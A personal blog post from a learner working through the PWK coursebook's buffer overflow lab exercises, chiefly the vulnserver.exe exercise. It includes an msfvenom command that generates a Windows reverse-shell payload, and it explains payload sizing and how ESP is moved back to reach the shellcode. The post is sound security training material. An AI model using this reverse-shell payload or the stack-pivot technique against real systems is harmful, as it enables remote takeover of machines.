Learning more about and thanks to buffer overflows

2017-02-04 09:20:00

I'm very happy that the PWK coursebook includes no less than three prepared buffer overflow exercises to play with. The first literally takes you by the hand and leads you through building the buffer overflow attack step by step. The second (exercise 7.8.1) gives you a Windows daemon to attack and basically tells you "Right! Now do what you just did once more, but without help!" and the third falls kind of in-between while attacking a Linux daemon. Exercise 7.8.1 (vulnserver.exe) is the last one I tackled as it required lab access.

By this time I felt I had an okay grasp of the basics and I had quickly ascertained the limits within which I would have to complete my work. Things ended up taking a lot more time though, because I have a shaky understanding of the output sizing displayed by MSFVenom. For example:

root@kali:# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -b "\x00" -f c
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes

I kept looking at the "final size" line, expecting that to be the amount that I needed to pack away inside the buffer. That led me down a rabbit hole of searching for the smallest possible payload (e.g. "cmd/windows/adduser") and trying to use that. Turns out that I should not look at the "final size" line, but simply at the "payload size" value. Man, 7.8.1 is so much easier now! Because yes, just about any decent payload does fit inside the buffer part before the EIP value. 

That just leaves you with the task of grabbing a pointer towards the start of the buffer. ESP is often used, but at the point of the exploit it points towards the end of the buffer. Not a problem though, right? Just throw a little math at it! Using "nasm_shell" I found the biggest subtraction (hint: it's not 1000 like in the image) I could make without introducing NULL characters into the buffer and just combined a bunch of'm to throw ESP backwards. After that, things work just fine. 

Learning points that I should look into:

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